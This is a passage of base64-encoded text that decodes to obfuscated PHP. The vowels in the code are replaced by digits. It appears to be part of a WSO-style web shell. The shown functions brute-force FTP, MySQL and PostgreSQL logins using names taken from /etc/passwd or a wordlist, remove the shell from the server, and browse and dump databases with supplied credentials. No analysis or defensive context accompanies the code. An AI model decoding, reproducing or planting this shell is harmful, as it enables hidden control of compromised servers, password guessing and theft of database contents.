0bjowOyIgcjUxZDJubHk+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pKTsNCiAgICB9DQogICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXItdDJwOjA7dzRkdGg6NjAwJTttMXJnNG46MDsiIDJuazV5ZDJ3bj0ia3AoNXY1bnQpOyI+JzsNCiAgICA1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kMmMzbTVudC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgM25zNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7DQogICAgNWNoMiAnYnk1ISc7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKSB7DQogICAgICAgIDRmKEAzbmw0bmsoU0VMRl9QQVRIKSkNCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICA1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICB9DQogICAgNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5SNTFsbHkgdzFudCB0MiByNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQogICAgICAgIDVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT0nJyI7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBwZ19jMm5uNWN0KCRzNXJ2NXJbMF0uJzonLiRzNXJ2NXJbNl0/JHM1cnY1cls2XTppdW9hLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAcGdfY2wyczUoJHI1cyk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHMzY2M1c3MgPSAwOw0KICAgICAgICAkMXR0NW1wdHMgPSAwOw0KICAgICAgICAkczVydjVyID0gNXhwbDJkNSgiOiIsICRfUE9TVFsnczVydjVyJ10pOw0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQogICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3I1djVyczUnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbDRuNVswXVskNF07DQogICAgICAgICAgICAgICAgICAgICAgICArKyQxdHQ1bXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkdG1wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgew0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgkX1BPU1RbJ2Q0Y3QnXSk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gdHI0bSgkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydsMmc0biddKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjUpLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCiAgICB9DQogICAgNWNoMiAnPGg2PkZUUCBicjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJrMm1zNW4iPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsNCiAgICA1Y2gyICc8L2Q0dj48YnI+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KICAgIGNsMXNzIERiQ2wxc3Mgew0KICAgICAgICB2MXIgJHR5cDU7DQogICAgICAgIHYxciAkbDRuazsNCiAgICAgICAgdjFyICRyNXM7DQogICAgICAgIGYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpICAgIHsNCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICA0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBxMzVyeSgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsNCiAgICAgICAgICAgICRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gbDRzdERicygpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSBAbXlzcWxfbDRzdF9kYnMoJHRoNHMtPmw0bmspOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUiKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBsNHN0VDFibDVzKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgKHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJykgMnIgdDFibDVfbjFtNSA9ICdwZ18zczVyJyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsXzVycjJyKCR0aDRzLT5sNG5rKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAcGdfbDFzdF81cnIycigkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gczV0Q2gxcnM1dCgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfczV0X2NoMXJzNXQoJHN0ciwgJHRoNHMtPmw0bmspOw0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gZDNtcCgkdDFibDUpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJHI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRjcjUxdDUgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkY3I1MXQ1WzZdLiI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdikuIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAkazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9Ow0KICAgICRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQogICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgJGRiLT5jMm5uNWN0KCRfUE9TVFsnc3FsX2gyc3QnXSwgJF9QT1NUWydzcWxfbDJnNG4nXSwgJF9QT1NUWydzcWxfcDFzcyddLCAkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IHQ1eHQvcGwxNG4iKTsNCiAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdik7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgPz4NCiAgICA8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSJzZiIgbTV0aDJkPSJwMnN0Ij4NCiAgICAgICAgPHQxYmw1IGM1bGxwMWRkNG5nPSJhIiBjNWxsc3AxYzRuZz0iMCI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkPlR5cDU8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5IMnN0PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+TDJnNG48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5QMXNzdzJyZDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPkQxdDFiMXM1PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4nPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9Jzw/PTRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJz8+Jz4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgIDxzNWw1Y3QgbjFtNT0ndHlwNSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8MnB0NDJuIHYxbDM1PSJteXNxbCIgPD9waHAgNGYoQCRfUE9TVFsndHlwNSddPT0nbXlzcWwnKTVjaDIgJ3M1bDVjdDVkJzs/Pj5NeVNxbDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0icGdzcWwiIDw/cGhwIDRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7Pz4+UDJzdGdyNVNxbDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICA8L3M1bDVjdD48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9Jzw/PSg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSk7Pz4nPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9Jzw/PSg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSk7Pz4nPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nPD89KDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ